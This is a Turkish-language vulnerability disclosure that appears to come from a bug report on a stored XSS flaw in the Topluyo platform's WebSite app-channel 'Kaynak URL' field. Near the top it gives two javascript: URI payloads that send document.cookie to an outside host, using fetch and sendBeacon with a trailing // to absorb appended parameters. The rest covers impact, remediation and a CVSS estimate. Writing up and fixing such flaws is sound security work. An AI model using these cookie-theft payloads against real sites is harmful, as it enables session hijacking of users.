Stored XSS via javascript: URI Injection

Platform: Topluyo
Etkilenen Alan: Uygulama Kanalları – Kanal Ekleme / WebSite Uygulaması / Kaynak URL
Zafiyet Türü: Stored Cross-Site Scripting (XSS)
Risk Seviyesi: Yüksek

Özet

Uygulama kanalı oluşturulurken **WebSite Uygulaması** seçildiğinde girilen **Kaynak URL** değeri, yeterli protokol doğrulaması yapılmadan iframe **src** attribute'üne yerleştirilmektedir.

javascript: URI şeması engellenmediği için saldırgan, bu alan üzerinden istemci tarafında keyfi JavaScript çalıştırabilmektedir.

Sistem otomatik olarak **?topluyo_host=1** gibi query parametreleri eklese dahi, **// yorum operatörü** kullanılarak bu ekleme absorbe edilebilmekte ve payload bozulmadan çalıştırılabilmektedir.

Bu durum **Stored XSS zafiyetine** yol açmaktadır.

Teknik Detay

Kullanılan Örnek Payload

```
javascript:fetch('https://sibergkt.com/kaydet/log.php',
{method:'post',body:document.cookie})//
```

veya

```
javascript:navigator.sendBeacon('https://sibergkt.com/kaydet/
log.php',document.cookie)//
```

Render Edilen Yapı

Sistem payload'u aşağıdaki gibi iframe içinde render etmektedir:

```
<iframe src="javascript:fetch(... )//?topluyo_host=1"></iframe>
```

Burada:

• javascript: şeması doğrudan çalıştırılmaktadır
• ?topluyo_host=1 kısmı // **nedeniyle yorum satırı olur**
• JavaScript parse hatası oluşmaz
• Kod iframe context'inde çalışır

Zafiyetin Çalışma Mekanizması

1. Saldırgan **Uygulama Kanalı oluştururken WebSite Uygulaması seçer**
2. **Kaynak URL alanına zararlı payload ekler**
3. Payload veritabanında saklanır (**Stored**)
4. Kanal görüntülendiğinde iframe render edilir
5. JavaScript otomatik çalışır

Etki Analizi

Eğer uygulama kanalı **ana uygulama origin'i altında çalışıyorsa:**

• DOM erişimi mümkündür
• Kullanıcı bağlamında işlem yapılabilir
• CSRF benzeri işlemler tetiklenebilir
• Admin panelinde render edilirse **privilege escalation riski oluşur**
• Session çalınabilir (**HttpOnly flag yoksa**)

Bu durum kullanıcılar arası saldırı zincirine imkân tanır.

Güvenlik Açığı Kaynağı

• javascript: protokolü engellenmemektedir
• URL protokol whitelist kontrolü yoktur
• iframe src değeri sanitize edilmemektedir
• Client-side encode işlemi güvenlik sağlamamaktadır

Önerilen Çözüm

1. URL protokol whitelist uygulanmalı

• Sadece **https://** ve **http://** kabul edilmeli

2. **javascript:, data:, vbscript:** gibi şemalar tamamen reddedilmeli
3. iframe oluşturulmadan önce **server-side URL parse kontrolü yapılmalı**
4. Content Security Policy uygulanmalı:

```
script-src 'self';
object-src 'none';
base-uri 'self';
```

5. Attribute context için doğru escaping yapılmalı

CVSS (Önerilen)

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Impact: High

Tahmini CVSS v3.1 Skoru: 7.2 – 8.0 (High)

Sonuç

Uygulama kanalı oluşturulurken **WebSite Uygulaması → Kaynak URL** alanı üzerinden **javascript: URI enjeksiyonu** yapılabilmekte ve bu durum **Stored XSS zafiyetine** yol açmaktadır.

Uygun protokol doğrulaması ve CSP uygulanmadığı sürece kullanıcılar arası istismar mümkündür.